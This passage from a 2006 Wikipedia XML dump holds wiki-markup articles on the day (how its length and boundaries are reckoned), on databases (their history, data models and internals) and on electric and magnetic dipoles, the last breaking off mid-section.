A day, as opposed to [[night]], is commonly defined as the period during which sunlight directly reaches the ground, assuming that there are no local obstacles. Two effects make days on average longer than nights. The Sun is not a point, but has an apparent size of about 32 [[minute of arc|minutes of arc]]. Additionally, the [[Earth's atmosphere|atmosphere]] [[refraction|refracts]] sunlight in such a way that some of it reaches the ground even when the Sun is below the [[horizon]] by about 34 minutes of arc. So the first light reaches the ground when the centre of the Sun is still below the horizon by about 50 minutes of arc. The difference in time depends on the angle at which the Sun rises and sets (itself a function of [[latitude]]), but amounts to almost seven minutes at least.

Ancient custom has a new day start at either the rising or setting of the Sun on the local horizon (Italian reckoning, for example). The exact moment of, and the interval between, two sunrises or two sunsets depends on the geographical position ([[longitude]] as well as latitude), and the time of [[year]]. This is the time as indicated by ancient hemispherical [[sundial]]s.

A more constant day can be defined by the Sun passing through the local [[meridian]], which happens at local noon (upper [[culmination]]) or midnight (lower culmination). The exact moment is dependent on the geographical longitude, and to a lesser extent on the time of the year. The length of such a day is nearly constant (24 hours ± 30 seconds). This is the time as indicated by modern sundials.

A further improvement defines a fictitious mean Sun that moves with constant speed along the [[celestial equator]]; the speed is the same as the average speed of the real Sun, but this removes the variation over a year as the Earth moves along its orbit around the Sun (due to both its velocity and its axial tilt).

The Earth's day has increased in length over time. The original length of one day, when the Earth was new about 4.5 billion years ago, was about six hours as determined by computer simulation. It was 21.9 hours 620 million years ago as recorded by rhythmites (alternating layers in sandstone). This phenomenon is due to [[tide]]s raised by the [[Moon]] which slow Earth's rotation. Because of the way the [[second]] is defined, the mean length of a day is now about 86,400.002 seconds, and is increasing by about 1.7 milliseconds per century (an average over the last 2700 years). See [[tidal acceleration]] for details.

==Civil day==
For civil purposes a common clock time has been defined for an entire region based on the mean local solar time at some central meridian. Such [[time zone]]s began to be adopted about the middle of the [[19th century]] when [[railroad]]s with regular schedules came into use, with most major countries having adopted them by 1929. For the whole world, 39 such time zones are now in use. The main one is &quot;world time&quot; or [[UTC]] (Coordinated Universal Time).

The present common convention has the civil day starting at midnight, which is near the time of the [[lower culmination]] of the mean Sun on the central meridian of the time zone. A day is commonly divided into 24 hours of 60 minutes of 60 seconds each.

==Leap seconds==
In order to keep the civil day aligned with the apparent movement of the Sun, positive or negative [[leap seconds]] may be inserted.

A civil clock day is typically 86400 [[SI]] [[second]]s long, but will be 86401 s or 86399 s long in the event of a leap second.

Leap seconds are announced in advance by the [[International Earth Rotation and Reference Systems Service]] which measures the Earth's rotation and determines whether a leap second is necessary. Leap seconds occur only at the end of a UTC month, and have only ever been inserted at the end of [[June 30]] or [[December 31]].

==Astronomy==
In [[astronomy]], the [[sidereal day]] is also used; it is about 3 minutes 56 seconds shorter than the solar day, and close to the actual rotation period of the Earth, as opposed to the Sun's apparent motion. In fact, the Earth spins 366 times about its axis during a 365-day year, because the Earth's revolution about the Sun removes one apparent turn of the Sun about the Earth.

==Boundaries of the day==
For most diurnal animals, including ''Homo sapiens'', the day naturally begins at dawn and ends at sunset. Humans, with our cultural norms and scientific knowledge, have supplanted Nature with several different conceptions of the day's boundaries. The [[Judaism|Jewish]] day begins at either [[sunset]] or at nightfall (when three second-magnitude stars appear). [[Middle Ages|Medieval]] [[Europe]] followed this tradition, known as Florentine reckoning: in this system, a reference like &quot;two hours into the day&quot; meant ''two hours after sunset'' and thus times during the evening need to be shifted back one calendar day in modern reckoning. Days such as [[Christmas Eve]], [[Halloween]], and the Eve of [[Saint Agnes]] are the remnants of the older pattern when [[holiday]]s began the evening before. Present common convention is for the civil day to begin at [[midnight]], that is 00:00, and last a full twenty-four [[hour]]s until the next 00:00 (also known as 24:00, but this is not as widely used). 

In [[ancient Egypt]], the day was reckoned from [[sunrise]] to sunrise. [[Muslim]]s fast from dawn (traditionally when a white thread can be distinguished from a black thread) to sunset each day of the month of [[Ramadan]]. The &quot;[[Damascus Document]]&quot;, copies of which were also found among the [[Dead Sea Scrolls]], states regarding [[Sabbath]] observance that &quot;No one is to do any work on Friday ''from the moment that the sun's disk stands distant from the horizon by the length of its own diameter'',&quot; presumably indicating that the monastic community responsible for producing this work counted the day as ending shortly before the sun had begun to set. &lt;!--There are presumably other traditions to present here.--&gt;

In the [[United States]]&lt;!--and elsewhere perhaps--&gt;, nights are named after the previous day, ''e.g.'' &quot;Friday night&quot; usually means the entire night between [[Friday]] and [[Saturday]]. This is the opposite of the Jewish pattern. This difference from the civil day often leads to confusion. Events starting at midnight are often announced as occurring the day before. TV-guides tend to list nightly programs at the previous day, although programming a [[Videocassette recorder|VCR]] requires the strict logic of starting the new day at 00:00 (to further confuse the issue, VCRs set to the [[12-hour clock]] notation will label this &quot;12:00 AM&quot;). Expressions like &quot;today&quot;, &quot;yesterday&quot; and &quot;tomorrow&quot; become ambiguous during the night.

Validity of [[ticket]]s, passes, etc., for a day or a number of days may end at midnight, or closing time, when that is earlier. However, if a service (e.g. [[public transport]]) operates from e.g. 6:00 to 1:00, the last hour may well count as being part of the previous day (also for the arrangement of the [[timetable]]). For services depending on the day (&quot;closed on Sundays&quot;, &quot;does not run on Fridays&quot;, etc.) there is a risk of ambiguity. As an example, for the [[Dutch Railways]], a day ticket is valid 28 hours, from 0:00 to 4:00 the next night.

==List of famous days==
* [[Black Monday]]
* [[Black Friday]]
* [[Bloody Sunday]]
* [[D-Day]]
* [[The Day The Music Died]]
* [[Ides of March]]
* [[Judgement Day]]
* [[September 11, 2001]]
See also [[List of commemorative days]]

==People named Day==
Some noted people with the name Day include [[Doris Day]], [[Laraine Day]], [[Stockwell Day]], [[Dennis Day]], [[Dorothy Day]], and [[Howie Day]].

==See also==
* [[1 E4 s|times from 10 kiloseconds to 100 kiloseconds]]
* [[night]]
* [[Calculating the day of the week]]
* [[Daylight saving time]]
* [[season]], for a discussion of daylight and darkness near the poles and the equator and places in-between
* [[Dagr]]
* [[Battle of Day's Gap]]

==External links==
*[http://www.fourmilab.ch/cgi-bin/uncgi/Earth/action?opt=-p&amp;img=learth.evif Show where it is daytime at the moment]
*[http://ptaff.ca/soleil/?lang=en_CA Sunrise and sunset, all year long, anywhere]

[[Category:Units of time]]

[[als:Tag]]
[[bg:Ден]]
[[be:Дзень]]
[[ca:Dia]]
[[cs:Den]]
[[da:Dag]]
[[de:Tag]]
[[et:Ööpäev]]
[[es:Día]]
[[eo:Tago]]
[[eu:Egun]]
[[fr:Jour]]
[[fy:Dei]]
[[ko:일 (시간)]]
[[hr:Dan]]
[[id:Hari]]
[[ilo:Aldaw]]
[[is:Sólarhringur]]
[[it:Giorno]]
[[he:יממה]]
[[ka:დღე]]
[[la:dies]]
[[lt:Diena]]
[[mk:Ден]]
[[nah:Tonalli]]
[[nl:Dag]]
[[nds:Dag]]
[[ja:日]]
[[no:Dag]]
[[nn:Dag]]
[[pl:Doba]]
[[pt:Dia]]
[[ru:День]]
[[sq:Dita]]
[[simple:Day]]
[[sl:Dan]]
[[sr:Дан]]
[[fi:Vuorokausi]]
[[sv:Dag]]
[[tl:Araw (panahon)]]
[[ta:நாள்]]
[[tt:Kön]]
[[th:วัน]]
[[uk:День]]
[[zh:日]]</text>
    </revision>
  </page>
  <page>
    <title>Database</title>
    <id>8377</id>
    <revision>
      <id>41077087</id>
      <timestamp>2006-02-24T22:22:49Z</timestamp>
      <contributor>
        <ip>167.79.215.231</ip>
      </contributor>
      <text xml:space="preserve">A '''database''' is an organized collection of data. The term originated within the computer industry, but its meaning has been broadened by popular use, to the extent that the [[EU Database Directive|European Database Directive]] (which creates intellectual property rights for databases) includes non-electronic databases within its definition. This article is confined to a more technical use of the term; though even amongst computing professionals, some attach a much wider meaning to the word than others.

One possible definition is that a database is a collection of [[Database record|records]] stored in a computer in a systematic way, such that a [[computer program]] can consult it to answer questions. For better retrieval and sorting, each record is usually organized as a set of [[data element]]s (facts). The items retrieved in answer to queries become [[information]] that can be used to make decisions. The computer program used to manage and query a database is known as a [[database management system]] (DBMS). The properties and design of database systems are included in the study of [[information science]].

The central concept of a database is that of a collection of records, or pieces of knowledge. Typically, for a given database, there is a structural description of the type of facts held in that database: this description is known as a '''schema'''. The schema describes the objects that are represented in the database, and the relationships among them. There are a number of different ways of organizing a schema, that is, of modeling the database structure: these are known as [[database model]]s (or data models). The model in most common use today is the [[relational model]], which in layman's terms represents all information in the form of multiple related tables each consisting of rows and columns (the true definition uses mathematical terminology). This model represents relationships by the use of values common to more than one table. Other models such as the [[hierarchical model]] and the [[network model]] use a more explicit representation of relationships.

Strictly speaking, the term ''database'' refers to the collection of related records, and the software should be referred to as the ''database management system'' or DBMS.  When the context is unambiguous, however, many database administrators and programmers use the term ''database'' to cover both meanings.

Many professionals would consider a collection of data to constitute a database only if it has certain properties: for example, if the data is managed to ensure its integrity and quality, if it allows shared access by a community of users, if it has a schema, or if it supports a [[query language]]. However, there is no agreed definition of these properties.

Database management systems are usually categorized according to the data model that they support: relational, object-relational, network, and so on. The data model will tend to determine the query languages that are available to access the database. A great deal of the internal engineering of a DBMS, however, is independent of the data model, and is concerned with managing factors such as performance, concurrency, integrity, and recovery from hardware failures. In these areas there are large differences between products.

==History==
The earliest known use of the term '''data base''' was in June [[1963]], when the [[System Development Corporation]] sponsored a symposium under the title ''Development and Management of a Computer-centered Data Base''. '''Database''' as a single word became common in [[Europe]] in the early [[1970s]] and by the end of the decade it was being used in major American newspapers.  ('''Databank''', a comparable term, had been used in the ''Washington Post'' newspaper as early as [[1966]].)

The first database management systems were developed in the [[1960s]]. A pioneer in the field was [[Charles Bachman]]. Bachman's early papers show that his aim was to make more effective use of the new direct access storage devices becoming available: until then, data processing had been based on [[punch card|punched cards]] and [[magnetic tape]], so that serial processing was the dominant activity. Two key [[data model]]s arose at this time: [[CODASYL]] developed the [[network model]] based on Bachman's ideas, and (apparently independently) the [[hierarchical model]] was used in a system developed by [[North American Rockwell]], later adopted by [[IBM]] as the cornerstone of their [[Information Management System|IMS]] product.

The [[relational model]] was proposed by [[Edgar F. Codd|E. F. Codd]] in [[1970]]. He criticized existing models for confusing the abstract description of information structure with descriptions of physical access mechanisms. For a long while, however, the relational model remained of academic interest only. While [[CODASYL]] systems and [[IMS]] were conceived as practical engineering solutions taking account of the technology as it existed at the time, the relational model took a much more theoretical perspective, arguing (correctly) that hardware and software technology would catch up in time. Among the first implementations were [[Michael Stonebraker]]'s [[Ingres]] at [[University of California, Berkeley|Berkeley]], and the [[System R]] project at [[IBM]]. Both of these were research prototypes, announced during [[1976]]. The first commercial products, [[Oracle database|Oracle]] and [[DB2]], did not appear until around [[1980]]. The first successful database product for microcomputers was [[dBASE]] for the [[CP/M]] and [[PC-DOS]]/[[MS-DOS]] operating systems.

During the [[1980s]], research activity focused on [[distributed database]] systems and [[database machine|database machines]], but these developments had little effect on the market. Another important theoretical idea was the [[Functional Data Model]], but apart from some specialized applications in genetics, molecular biology, and fraud investigation, the world took little notice.

In the [[1990s]], attention shifted to [[OODB|object-oriented databases]]. These had some success in fields where it was necessary to handle more complex data than relational systems could easily cope with, such as spatial databases, engineering data (including software engineering [[repository|repositories]],) and multimedia data. Some of these ideas were adopted by the relational vendors, who integrated new features into their products as a result.

In the [[2000s]], the fashionable area for innovation is the [[XML database]]. As with object databases, this has spawned a new collection of startup companies, but at the same time the key ideas are being integrated into the established relational products. XML databases aim to remove the traditional divide between documents and data, allowing all of an organization's information resources to be held in one place, whether they are highly structured or not.

==Database models==
Various techniques are used to model data structure.  Most database systems are built around one particular data model, although it is increasingly common for products to offer support for more than one model. For any one [[logical model]] various physical implementations may be possible, and most products will offer the user some level of control in [[tuning]] the [[physical implementation]], since the choices that are made have a significant effect on performance.  An example of this is the [[relational model]]:  all serious implementations of the relational model allow the creation of indexes which provide fast access to rows in a table if the values of certain columns are known.

A [[data model]] is not just a way of structuring data: it also defines a set of operations that can be performed on the data. The relational model, for example, defines operations such as [[selection]], [[projection]], and [[Join (SQL)|join]]. Although these operations may not be explicit in a particular [[query language]], they provide the foundation on which a query language is built.

===Flat model===
''This may not strictly qualify as a data model, as defined above.''

The [[flat file database|flat (or table) model]] consists of a single, two-dimensional array of [[data]] elements, where all members of a given column are assumed to be similar values, and all members of a row are assumed to be related to one another. For instance, columns for name and password that might be used as a part of a system security database. Each row would have the specific password associated with an individual user. Columns of the table often have a type associated with them, defining them as character data, date or time information, integers, or floating point numbers. This model is, incidentally, a basis of the [[spreadsheet]].

===Network model===
The [[network database|network model]] (defined by the [[CODASYL]] specification) organizes data using two fundamental constructs, called ''records'' and ''sets''. Records contain fields (which may be organized hierarchically, as in [[COBOL]]). Sets (not to be confused with mathematical sets) define one-to-many relationships between records: one owner, many members. A record may be an owner in any number of sets, and a member in any number of sets.

The operations of the network model are navigational in style: a program maintains a current position, and navigates from one record to another by following the relationships in which the record participates. Records can also be located by supplying key values.

Although it is not an essential feature of the model, network databases generally implement the set [[relationship]]s by means of [[pointer]]s that directly address the location of a record on disk. This gives excellent retrieval performance, at the expense of operations such as database loading and reorganization.

===Relational model===
The [[relational model]] was introduced in an [http://www.acm.org/classics/nov95/toc.html academic paper] by [[E. F. Codd]] in [[1970]] as a way to make database management systems more independent of any particular application.  It is a mathematical model defined in terms of [[predicate logic]] and [[set theory]].

The products that are generally referred to as [[relational database|relational databases]] (for example, [[Ingres]], [[Oracle database|Oracle]], [[DB2]], and [[SQL Server]]) in fact implement a model that is only an approximation to the mathematical model defined by Codd. The data structures in these products
are tables, rather than relations: the main differences being that tables can contain duplicate rows, and that the rows (and columns) can be treated as being ordered. The same criticism applies to the [[SQL]] language which is the primary interface to these products. There has been considerable controversy, mainly due to Codd himself, as to whether it is correct to describe SQL implementations as &quot;relational&quot;: but the fact is that the world does so, and the following description uses the term in its popular sense.

A relational database contains multiple tables, each similar to the one in the &quot;flat&quot; [[database model]].  Relationships between tables are not defined explicitly;  instead, ''keys'' are used to match up rows of data in different tables.  A key is a collection of one or more columns in one table whose values match corresponding columns in other tables: for example, an ''Employee'' table may contain a column named ''Location'' which contains a value that matches the key of a ''Location'' table. Any column can be a key, or multiple columns can be grouped together into a single key.  It is not necessary to define all the keys in advance; a column can be used as a key even if it was not originally intended to be one.

A key that can be used to uniquely identify a row in a table is called a ''unique key''.  Typically one of the unique keys is the preferred way to refer to row; this is defined as the table's ''primary key''.

A key that has an external, real-world meaning (such as a person's name, a book's [[ISBN]], or a car's serial number), is sometimes called a &quot;natural&quot; key.  If no natural key is suitable (think of the many people named ''Brown''), an arbitrary key can be assigned (such as by giving employees ID numbers). In practice, most databases have both generated and natural keys, because generated keys can be used internally to create links between rows that cannot break, while natural keys can be used, less reliably, for searches and for integration with other databases.   (For example, records in two independently developed databases could be matched up by [[social security number]], except when the social security numbers are incorrect, missing, or have changed.)

====Relational operations====
Users (or programs) request data from a relational database by sending it a [[query]] that is written in a special language, usually a dialect of [[SQL]].  Although SQL was originally intended for end-users, it is much more common for SQL queries to be embedded into software that provides an easier user interface.  Many web sites perform SQL queries when generating pages.

In response to a query, the database returns a result set, which is just a list of rows containing the answers.  The simplest query is just to return all the rows from a table, but more often, the rows are filtered in some way to return just the answer wanted.

Often, data from multiple tables gets combined into one, by doing a [[Join (SQL)|join]].  Conceptually, this is done by taking all possible combinations of rows (the &quot;cross-product&quot;), and then filtering out everything except the answer. In practice, relational database management systems rewrite (&quot;[[Query optimizer|optimize]]&quot;) queries to perform faster, using a variety of techniques.
 
The flexibility of relational databases allows programmers to write queries that were not anticipated by the database designers.  As a result, relational databases can be used by multiple applications in ways the original designers did not foresee, which is especially important for databases that might be used for decades.  This has made the idea and implementation of relational databases very popular with businesses.

===Dimensional model===
The [[dimensional database|dimensional model]] is a specialized adaptation of the relational model used to represent data in [[data warehouse]]s in a way that data can be easily summarized using [[OLAP]] queries.   In the dimensional model, a database consists of a single large table of facts that are described using dimensions and measures.  A dimension provides the context of a fact (such as who participated, when and where it happened, and its type) and is used in queries to group related facts together.  Dimensions tend to be discrete and are often hierarchical; for example, the location might include the building, state, and country.   A measure is a quantity describing the fact, such as revenue.  It's important that measures can be meaningfully aggregated - for example, the revenue from different locations can be added together.

In an OLAP query, dimensions are chosen and the facts are grouped and added together to create a summary.

The dimensional model is often implemented on top of the relational model using a [[Star schema|star schema]], consisting of one table containing the facts and surrounding tables containing the dimensions.  Particularly complicated dimensions might be represented using multiple tables, resulting in a [[snowflake schema]].

A data warehouse can contain multiple star schemas that share dimension tables, allowing them to be used together.  Coming up with a standard set of dimensions is an important part of dimensional modeling.

===Object database models===
In recent years, the [[object-oriented]] paradigm has been applied to database technology, creating a new programming model known as [[object database]]s. These databases attempt to bring the database world and the application programming world closer together, in particular by ensuring that the database uses the same [[type system]] as the application program. This aims to avoid the overhead (sometimes referred to as the ''[[Object-Relational impedance mismatch|impedance mismatch]]'') of converting information between its representation in the database (for example as rows in tables) and its representation in the application program (typically as objects). At the same time object databases attempt to introduce the key ideas of object programming, such as [[encapsulation]] and [[polymorphism (computer science)|polymorphism]], into the world of databases.

A variety of these ways have been tried for storing objects in a database. Some products have approached the problem from the application programming end, by making the objects manipulated by the program [[persistence|persistent]]. This also typically requires the addition of some kind of query language, since conventional programming languages do not have the ability to find objects based on their information content. Others have attacked the problem from the database end, by defining an object-oriented data model for the database, and defining a database programming language that allows full programming capabilities as well as traditional query facilities.

Object databases suffered because of a lack of standardization: although standards were defined by [[Object Database Management Group|ODMG]], they were never implemented well enough to ensure interoperability between products. Nevertheless, object databases have been used successfully in many applications: usually specialized applications such as engineering databases or molecular biology databases rather than mainstream commercial data processing. However, object database ideas were picked up by the relational vendors and influenced extensions made to these products and indeed to the [[SQL]] language.

==Database Internals==
===Indexing===
All of these kinds of database can take advantage of indexing to increase their speed, and this technology has advanced tremendously since its early uses in the [[1960s]] and [[1970s]].  The most common kind of index is a sorted list of the contents of some particular table column, with pointers to the row associated with the value. An index allows a set of table rows matching some criterion to be located quickly. Various methods of indexing are commonly used; [[B-tree]]s, [[hash]]es, and [[linked lists]] are all common indexing techniques.

Relational DBMSs have the advantage that indices can be created or dropped without changing existing applications making use of it.  The database chooses between many different strategies based on which one it estimates will run the fastest.

Relational DBMSs utilize many different algorithms to compute the result of an [[SQL]] statement.  The RDBMS will produce a plan of how to execute the query, which is generated by analysing the run times of the different algorithms and selecting the quickest.  Some of the key algorithms that deal with [[Join (SQL)|joins]] are [[Nested Loops Join]], [[Sort-Merge Join]] and [[Hash Join]].

===Transactions and concurrency===
In addition to their data model, most practical databases (&quot;transactional databases&quot;) attempt to enforce a [[database transaction]] model that has desirable data integrity properties. Ideally, the database software should enforce the [[ACID]] rules, summarized here:
* [[Atomicity]] - Either all the tasks in a transaction must be done, or none of them. The transaction must be completed, or else it must be undone (rolled back).
* [[Database consistency|Consistency]] - Every transaction must preserve the integrity constraints -- the declared consistency rules -- of the database. It cannot place the data in a contradictory state.
* [[Isolation]] - Two simultaneous transactions cannot interfere with one another. Intermediate results within a transaction are not visible to other transactions.
* [[Durability (computer science)|Durability]] - Completed transactions cannot be aborted later or their results discarded. They must persist through (for instance) restarts of the DBMS after crashes.

In practice, many DBMS's allow most of these rules to be selectively relaxed for better performance.

[[Concurrency control]] is a method used to ensure that transactions are executed in a safe manner and follow the ACID rules. The DBMS must be able to ensure that only serializable, recoverable schedules are allowed, and that no actions of committed transactions are lost while undoing aborted transactions.

===Replication===
Replication of databases is closely related to transactions. If a database can log its individual actions, it is possible to create a duplicate of the data in real time.
The duplicate can be used to improve Performance or Availability of the whole database system.
Common replication concepts include:
* Master/Slave Replication: All write requests are performed on the master and then replicated to the slaves
* Quorum: The result of Read and Write requests is calculated by querying a &quot;majority&quot; of replicas.
* Multimaster: Two or more replicas sync each other via a transaction identifier.

''More information on database replication:'' [http://www.gravic.com/shadowbase/productinfo.html#articles Database Replication Articles]

==Applications of databases==
Databases are used in many applications, spanning virtually the entire range of [[computer software]]. Databases are the preferred method of storage for large multiuser applications, where coordination between many users is needed. Even individual users find them convenient, though, and many electronic mail programs and personal organizers are based on standard database technology.  Software database drivers are available for most database platforms so that  [[Application software|application software]] can use a common [[Application programming interface|application programming interface (API)]] to retrieve the information stored in a database.  Two commonly used database APIs are [[Java Database Connectivity|JDBC]] and [[ODBC]].

==Common Database Brands==
(In alphabetical order)

* [[4th Dimension (Software)|4D]]
* [[Adabas]]
* [[Corel Paradox]]
* [[DB2]]
* [[Filemaker|FileMaker Pro]]
* [[FirebirdSQL]]
* [[Information Management System|IMS]]
* [[Informix]]
* [[Microsoft Access]]
* [[Microsoft SQL Server]]
* [[MySQL]]
* [[OpenOffice.org_Base|OOo Base]]
* [[Oracle database|Oracle]]
* [[PostgreSQL]]
* [[SQLite]]
* [[Sybase SQL Server]]

==See also==
* [[Client-Server]]
* [[Database dump]]
* [[Database management system]]
* [[Data Manipulation Language]]
* [[Database normalization]]
* [[:Category:Databases in the United Kingdom|Databases in the United Kingdom]]
* [[Deadlock]]
* [[Deductive database]]
* [[Dimensional database]]
* [[Distributed database]]
* [[Entity-relationship model]]
* [[Flat file database]]
* [[Hierarchical database|Hierarchic Database]]
* [[Key field]]
* [[Main Memory database]]
* [[MUMPS]]
* [[Multidimensional hierarchical toolkit]]
* [[Multidimensional database]]
* [[OLAP]]
* [[ODBC]]
* [[Recordset]] : [[dynaset]], [[Snapshot (computer storage)|snapshot]]
* [[Relational model]]
* [[SQL]] (Structured Query Language)
* [[Object database]]
* [[List of important publications in computer science#Databases| Important publications in databases]]
* [[Redundancy (databases)]]
* [[Software engineering]] and [[List of software engineering topics]]
* [[Temporal database]]
* [[Very large database]]

==References==
* ''The Codasyl Approach to Data Base Management.'' T. William Olle. Wiley, 1978. ISBN 0471995797
* ''Readings in Database Systems.'' Michael Stonebraker (ed). Morgan Kaufmann, 1988. (A collection of the most influential early papers on database technology from 1969 to 1988, with a preface analyzing their impact.) ISBN 1558605231
===Open source database references===
*  CNET News.com article, [http://news.com.com/2100-7344_3-5171543.html?part=rss&amp;tag=feed&amp;subj=news Study: Open-source databases going mainstream]
*[http://www.geocities.com/mailsoftware42/db/index.html Open Source database comparison]

[[Category:Data_management]]
[[Category:Digital Revolution]]
[[Category:Information technology]]

[[af:Databasis]]
[[ca:Base de dades]]
[[cs:Databáze]]
[[da:Database]]
[[de:Datenbanksystem]]
[[es:Base de datos]]
[[eo:Datumbazo]]
[[fa:دادگان]]
[[fr:Base de données]]
[[gl:Base de datos]]
[[ko:데이터베이스]]
[[hr:Baza podataka]]
[[id:Basis data]]
[[ia:Base de datos]]
[[is:Gagnagrunnur]]
[[it:Database]]
[[he:בסיס נתונים]]
[[lv:Datu bāze]]
[[lt:Duomenų bazė]]
[[hu:Adatbázis]]
[[ms:Pangkalan data]]
[[nl:Database]]
[[ja:データベース]]
[[pl:Baza danych]]
[[pt:Banco de dados]]
[[ro:Bază de date]]
[[ru:База данных]]
[[sk:Databáza]]
[[sl:Podatkovna baza]]
[[fi:Tietokanta]]
[[sv:Databas]]
[[tl:Database]]
[[th:ฐานข้อมูล]]
[[vi:Cơ sở dữ liệu]]
[[tr:Veri tabanı]]
[[uk:База даних]]
[[zh:数据库]]</text>
    </revision>
  </page>
  <page>
    <title>Dipole</title>
    <id>8378</id>
    <revision>
      <id>41614877</id>
      <timestamp>2006-02-28T15:03:27Z</timestamp>
      <contributor>
        <username>Arnero</username>
        <id>233665</id>
      </contributor>
      <comment>/* Dipole radiation */</comment>
      <text xml:space="preserve">:*''This article is about the electromagnetic phenomenon. From the point of view of the [[mathematics]] of [[distribution (mathematics)|distribution]]s, a dipole can be taken to be the directional derivative of a [[Dirac delta function]]. A [[dipole antenna|dipole]] is also a type of radio antenna.''
:*''For magnets in particle accelerators please see [[dipole magnet]]''.

[[Image:Dipole field.jpg|thumb|right|300px|The [[Earth's magnetic field]], which is approximately a dipole.  However, the &quot;N&quot; and &quot;S&quot; (north and south) poles are labeled here ''geographically'', which is the opposite of the convention for labeling the poles of a magnetic dipole moment.]] 
A '''dipole''' ([[Greek language|Greek]]: ''di(s)'' = double and ''polos'' = pivot) is a pair of [[Electric charge|electric charges]] or magnetic poles of equal magnitude but opposite polarity (opposite electronic charges), separated by some, usually small, distance.  Dipoles can be characterized by their dipole [[Magnetic moment|moment]], a vector quantity with a magnitude equal to the product of the charge or magnetic strength of one of the poles and the distance separating the two poles. The direction of the dipole moment corresponds, for electric dipoles, to the direction from the negative to the positive charge.  For magnetic dipoles, the dipole moment points from the magnetic [[south pole|south]] to the magnetic [[north pole]] &amp;mdash; confusingly, the &quot;north&quot; and &quot;south&quot; convention for magnetic dipoles is the opposite of that used to describe the Earth's geographic and magnetic poles, so that the Earth's geomagnetic north pole is the ''south'' pole of its dipole moment.  Because of the absence of [[magnetic monopole|magnetic monopoles]], magnetic dipoles are actually created by current loops or by quantum-mechanical [[spin (physics)|spin]].

Since the direction of an electric field is defined as the direction of the force on a positive charge, electric field lines point away from a positive charge and toward a negative charge.  

When placed in an [[electric field|electric]] or [[magnetic field|magnetic]] field, equal but opposite [[force]]s arise on each side of the dipole creating a [[torque]] '''&amp;tau;''':

:&lt;math&gt; \mathbf{\tau} = \mathbf{p} \times \mathbf{E}&lt;/math&gt;
for an electric dipole moment '''p''' (in coulomb-meters), or

:&lt;math&gt; \mathbf{\tau} = \mathbf{m} \times \mathbf{B}    =    \mu_o \mathbf{m} \times \mathbf{H} &lt;/math&gt;
for a magnetic dipole moment '''m''' (in ampere-square meters).

The resulting torque will tend to align the dipole with the applied field.

==Physical dipoles, point dipoles, and approximate dipoles==
[[image:dipole.jpg|thumb|right|250px|Diagram of a physical dipole, with equipotential surfaces and field lines indicated  ]]

A ''physical dipole'' consists of two equal and opposite point charges:  literally, two poles. Its field at large distances (i.e., distances large in comparison to the separation of the poles) depends almost entirely on the dipole moment as defined above. A ''point (electric) dipole'' is the limit obtained by letting the separation tend to 0 while keeping the dipole moment fixed. The field of a point dipole has a particularly simple form, and the order-1 term in the [[multipole expansion]] is precisely the point dipole field.

Although there are no known [[magnetic monopole]]s in nature, there are magnetic dipoles in the form of the quantum-mechanical [[spin (physics)|spin]] associated with particles such as [[electron]]s (although the accurate description of such effects falls outside of classical electromagnetism). A theoretical magnetic ''point dipole'' has a magnetic field of the exact same form as the electric field of an electric point dipole. A very small current-carrying loop is approximately a magnetic point dipole; the magnetic dipole moment of such a loop is the product of the current flowing in the loop and the (vector) area of the loop.

Any configuration of charges or currents has a 'dipole moment', which describes the dipole whose field is the best approximation, at large distances, to that of the given configuration.  This is simply one term in the [[multipole expansion]]; when the charge (&quot;monopole moment&quot;) is 0—as it ''always'' is for the magnetic case, since there are no magnetic monopoles—the dipole term is the dominant one at large distances:  its field falls off in proportion to &lt;math&gt;1 / r^3&lt;/math&gt;, as compared to &lt;math&gt;1 / r^4&lt;/math&gt; for the next (quadrupole) term and higher powers of &lt;math&gt;1 / r&lt;/math&gt; for higher terms, or &lt;math&gt;1 / r^2&lt;/math&gt; for the monopole term.

==Molecular dipoles==
Many [[molecule|molecules]] have such dipole moments due to non-uniform distributions of positive and negative charges on the various atoms.  For example:

  (positive) H-Cl (negative)

A molecule with a permanent dipole moment is called a polar molecule and is '''polarized'''. The physical chemist [[Peter Debye|Peter J. W. Debye]] was the first scientist to study molecular dipoles extensively, and dipole moments are consequently measured in units named ''[[debye]]'' in his honor.

With respect to molecules there are three types of dipoles:

* '''Permanent dipoles:''' These occur when 2 atoms in a molecule have substantially different [[electronegativity]]&amp;nbsp;&amp;mdash; one atom attracts electrons more than another becoming more negative, while the other atom becomes more positive. See [[dipole-dipole attraction|dipole-dipole attractions]].

* '''Instantaneous dipoles: ''' These occur due to chance when [[electron|electrons]] happen to be more concentrated in one place than another in a [[molecule]], creating a temporary dipole. See [[Instantaneous dipole attraction]].

* '''Induced dipoles''' These occur when one molecule with a permanent dipole repels another molecule's electrons, &quot;inducing&quot; a dipole moment in that molecule. See [[induced-dipole attraction]].

==Field from a magnetic dipole==
===Magnitude===
The strength, '''B''', of a dipole magnetic field is given by:

:&lt;math&gt;B(\mathbf{r}, \lambda) = \frac {\mu_0} {4\pi} \frac {\mathbf{M}} {r^3} \sqrt {1+3\sin^2\lambda}&lt;/math&gt;

where:

:'''B''' is the strength of the field, measured in [[Tesla (unit)|tesla]]s

:'''r''' is the distance from the center, measured in [[metre]]s

:'''&amp;lambda;''' is the magnetic latitude (90°-&amp;theta;) where &amp;theta; = magnetic colatitude, measured in [[radian]]s or [[degree (angle)|degree]]s from the dipole axis (magnetic colatitude is 0 along the dipole's axis and 90° in the plane perpendicular to its axis)

:'''M''' is the dipole moment, measured in ampere square-metres

:'''&amp;mu;&lt;sub&gt;0&lt;/sub&gt;''' is the permeability of free space, measured in [[Henry (inductance)|henry]]s per metre.

===Vector form===
The field itself is a vector quantity:

:&lt;math&gt;\mathbf{B}(\mathbf{r}) = \frac {\mu_0} {4\pi r^3} \left(3(\mathbf{m}\cdot\hat{\mathbf{r}})\hat{\mathbf{r}}-\mathbf{m}\right)&lt;/math&gt;

where

:'''B''' is the field
:'''r''' is the vector from the position of the dipole to the position where the field is being measured
:''r'' is the absolute value of '''r''': the distance from the dipole
:&lt;math&gt;\hat{\mathbf{r}} = \mathbf{r}/r&lt;/math&gt; is the unit vector parallel to '''r'''
:'''m''' is the (vector) dipole moment
:'''&amp;mu;&lt;sub&gt;0&lt;/sub&gt;''' is the permeability of free space

This is ''exactly'' the field of a point dipole, ''exactly'' the dipole term in the multipole expansion of an arbitrary field, and ''approximately'' the field of any dipole-like configuration at large distances.

===Magnetic vector potential===
The [[vector potential]] '''A''' of a magnetic dipole is

:&lt;math&gt;\mathbf{A}(\mathbf{r}) = \frac {\mu_0} {4\pi r^2} (\mathbf{m}\times\hat{\mathbf{r}})&lt;/math&gt;

with the same definitions as above.

==Field from an electric dipole==
The [[electrostatic potential]] of an electric dipole is

